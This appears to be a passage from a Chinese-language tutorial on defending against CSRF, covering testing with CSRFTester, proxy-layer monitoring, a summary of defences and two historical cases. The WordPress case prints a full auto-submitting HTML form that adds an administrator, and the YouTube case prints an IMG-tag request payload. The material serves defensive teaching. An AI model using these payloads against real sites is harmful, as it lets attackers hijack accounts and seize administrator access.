一般情況下,我們可以通過各種防護策略來防御CSRF,對于QA、SRE、安全負責人等,我們可以做哪些事情來提升安全性呢?
一、CSRF測試
CSRFTester是一款CSRF漏洞的測試工具,CSRFTester工具的測試原理大概是這樣的,使用代理抓取我們在瀏覽器中訪問過的所有的連接以及所有的表單等信息,通過在CSRFTester中修改相應的表單等信息,重新提交,相當于一次偽造客戶端請求,如果修改后的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。 CSRFTester使用方法大致分下面幾個步驟:
步驟1:設置瀏覽器代理
CSRFTester默認使用Localhost上的端口8008作為其代理,如果代理配置成功,CSRFTester將為您的瀏覽器生成的所有后續HTTP請求生成調試消息。
步驟2:使用合法賬戶訪問網站開始測試
我們需要找到一個我們想要為CSRF測試的特定業務Web頁面。找到此頁面后,選擇CSRFTester中的“開始錄制”按鈕并執行業務功能;完成后,點擊CSRFTester中的“停止錄制”按鈕;正常情況下,該軟件會全部遍歷一遍當前頁面的所有請求。
步驟3:通過CSRF修改并偽造請求
之后,我們會發現軟件上有一系列跑出來的記錄請求,這些都是我們的瀏覽器在執行業務功能時生成的所有GET或者POST請求。通過選擇列表中的某一行,我們現在可以修改用于執行業務功能的參數,可以通過點擊對應的請求修改query和form的參數。當修改完所有我們希望誘導用戶form最終的提交值,可以選擇開始生成HTML報告。
步驟4:拿到結果如有漏洞進行修復
首先必須選擇“報告類型”。報告類型決定了我們希望受害者瀏覽器如何提交先前記錄的請求。目前有5種可能的報告:表單、iFrame、IMG、XHR和鏈接。一旦選擇了報告類型,我們可以選擇在瀏覽器中啟動新生成的報告,最后根據報告的情況進行對應的排查和修復。
二、CSRF監控
對于一個比較復雜的網站系統,某些項目、頁面、接口漏掉了CSRF防護措施是很可能的。一旦發生了CSRF攻擊,我們如何及時的發現這些攻擊呢?
CSRF攻擊有著比較明顯的特征:
- 跨域請求
- GET類型請求Header的MIME類型大概率為圖片,而實際返回Header的MIME類型為Text、JSON、HTML。
我們可以在網站的代理層監控所有的接口請求,如果請求符合上面的特征,就可以認為請求有CSRF攻擊嫌疑。我們可以提醒對應的頁面和項目負責人,檢查或者 Review其CSRF防護策略。?
總結:
簡單總結一下上文的防護策略:
- CSRF自動防御策略:同源檢測(Origin 和 Referer 驗證)。
- CSRF主動防御措施:Token驗證 或者 雙重Cookie驗證 以及配合Samesite Cookie。
- 保證頁面的冪等性,后端接口不要在GET頁面中做用戶操作。
為了更好的防御CSRF,最佳實踐應該是結合上面總結的防御措施方式中的優缺點來綜合考慮,結合當前Web應用程序自身的情況做合適的選擇,才能更好的預防CSRF的發生。
個人用戶CSRF安全的建議
經常上網的個人用戶,可以采用以下方法來保護自己:
- 使用網頁版郵件的瀏覽郵件或者新聞也會帶來額外的風險,因為查看郵件或者新聞消息有可能導致惡意代碼的攻擊。
- 盡量不要打開可疑的鏈接,一定要打開時,使用不常用的瀏覽器。
歷史案例
-
WordPress的CSRF漏洞
2012年3月份,WordPress發現了一個CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是眾所周知的博客平臺,該漏洞可以允許攻擊者修改某個Post的標題,添加管理權限用戶以及操作用戶賬戶,包括但不限于刪除評論、修改頭像等等。具體的列表如下:
- Add Admin/User
- Delete Admin/User
- Approve comment
- Unapprove comment
- Delete comment
- Change background image
- Insert custom header image
- Change site title
- Change administrator’s email
- Change Wordpress Address
- Change Site Address
那么這個漏洞實際上就是攻擊者引導用戶先進入目標的WordPress,然后點擊其釣魚站點上的某個按鈕,該按鈕實際上是表單提交按鈕,其會觸發表單的提交工作,添加某個具有管理員權限的用戶,實現的碼如下:
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html>
-
YouTube的CSRF漏洞
2008年,有安全研究人員發現,YouTube上幾乎所有用戶可以操作的動作都存在CSRF漏洞。如果攻擊者已經將視頻添加到用戶的“Favorites”,那么他就能將他自己添加到用戶的“Friend”或者“Family”列表,以用戶的身份發送任意的消息,將視頻標記為不宜的,自動通過用戶的聯系人來共享一個視頻。例如,要把視頻添加到用戶的“Favorites”,攻擊者只需在任何站點上嵌入如下所示的IMG標簽:
<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_ id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
攻擊者也許已經利用了該漏洞來提高視頻的流行度。例如,將一個視頻添加到足夠多用戶的“Favorites”,YouTube就會把該視頻作為“Top Favorites”來顯示。除提高一個視頻的流行度之外,攻擊者還可以導致用戶在毫不知情的情況下將一個視頻標記為“不宜的”,從而導致YouTube刪除該視頻。
這些攻擊還可能已被用于侵犯用戶隱私。YouTube允許用戶只讓朋友或親屬觀看某些視頻。這些攻擊會導致攻擊者將其添加為一個用戶的“Friend”或“Family”列表,這樣他們就能夠訪問所有原本只限于好友和親屬表中的用戶觀看的私人的視頻。
攻擊者還可以通過用戶的所有聯系人名單(“Friends”、“Family”等等)來共享一個視頻,“共享”就意味著發送一個視頻的鏈接給他們,當然還可以選擇附加消息。這條消息中的鏈接已經并不是真正意義上的視頻鏈接,而是一個具有攻擊性的網站鏈接,用戶很有可能會點擊這個鏈接,這便使得該種攻擊能夠進行病毒式的傳播。
參考文獻
- Mozilla wiki.Security-Origin
- OWASP.Cross-Site_RequestForgery(CSRF)_Prevention_Cheat_Sheet.
- Gmail Security Hijack Case.Google-Gmail-Security-Hijack.
- Netsparker Blog.Same-Site-Cookie-Attribute-Prevent-Cross-site-Request-Forgery
- MDN.Same-origin_policy#IE_Exceptions